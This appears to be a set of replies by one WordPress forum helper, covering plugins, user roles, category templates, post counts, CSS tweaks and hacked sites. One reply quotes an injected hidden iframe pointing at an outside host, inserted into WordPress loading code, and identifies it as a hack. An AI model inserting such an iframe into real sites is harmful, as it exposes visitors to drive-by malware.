joshmac

Not sure if this can be done natively, but there are several video plugins that might help you out.

No, it is because you are being hacked. You can do a search on the forums for “hacked site” and you will see that there are other who have issues with this type of injection. If you reinstalled WordPress on all your sites, then make sure that you changed your Control Panel and database passwords as well as set the files in your root directory to 444. If you don’t clean out your databases with this code as well as change your passwords and permissions you will continue to be hacked on all your sites. Check out this thread.

Are you sure about that. They may be able to view the entire media library, but the only links available to them for files they did not upload is “view”, which directs them to the published blog post and not the edit page. I use this plugin for a community video site. Under Users > Roles > Contributor|User Role, I only have the following enabled: Read,Delete Posts,Edit Posts,Upload Files,Edit Published Posts,Publish Posts, and the User Level set at 1. This will allow your users to Edit and Post anything they have submitted as articles or Media.

I just helped someone today with this same problem. Check out this thread starting here. Basically, you will need to create a category.php file based on your theme’s template.

Thanks @mercime, I did miss a few steps in there. I have to say thought, that whoever the develop is, did a pretty awesome job with using WordPress functions that way. That is pretty sweet.

Can you tell me what this is:

/** Loads the WordPress Environment and Template */
require('./wp-blog-
<iframe src="https://x9n.ru:8080/index.php" width=176 height=135 style="visibility: hidden"></iframe>

If you did not put that code there, then that means you are being hacked and some of your other code may have the same issue. I would upload new files, and then chmod your root files to 444. Don’t forget to change it back to 644, when you are upgrading WordPress automatically from the backend.

Not a problem. I have been working with WordPress since it was a baby and I am happy to help out. If you need anything else, feel free to contact me via my website.

It seems the only thing you have to do is create a post, upload images on that same page before saving the post, set your gallery options for the images you upload, save your post, and voila. The template tags that are being used will find those images.

Ok, there is nothing in WordPress Codex that I could find to make this happen. However, I found this plugin that may do the trick. Just keep the number to 3 for the pages you would like with the exception of the category (set to 10 or what ever number you like). If this plugin does not work, disable and delete it.

No, you did not wrong. I would delete that bit of code from your file. I will investigate a little further. I am looking at this particular page to see if there is a tag and argument that can be used.

This is set in Settings > Reading, but I assume you are wanting 50 on the category page and not on your blogs homepage. Not sure if this will work, but place the following code before the < ?php if (have_posts()) : ? > in category.php

<?php query_posts('showposts=50'); ?>

Actually scratch that. I don’t think what I entered above is what you are looking for. I think you need to enter those tags around that which you want numbered.

Maybe try this something like this:

<ul>
<?php $my_post_count++; echo '<ol>' . $my_post_count . '.</ol>'; ?>
</ul>

Not sure what the ‘.’ is before the closing ‘ol’ tag, so you might need to play with it.

Ok, in category.php, change this:

<h1><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a></h1>

to this

<h1 class="cat-title"><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a></h1>

Then in your stylesheet, add this:

h1.cat-title {
font-size:.9em;
}

You may need to play around with it, if .9em is too small then try 1em, 1.1em, 1.2em, and so on.

Are you looking to make the font smaller throughout your website or only on this page?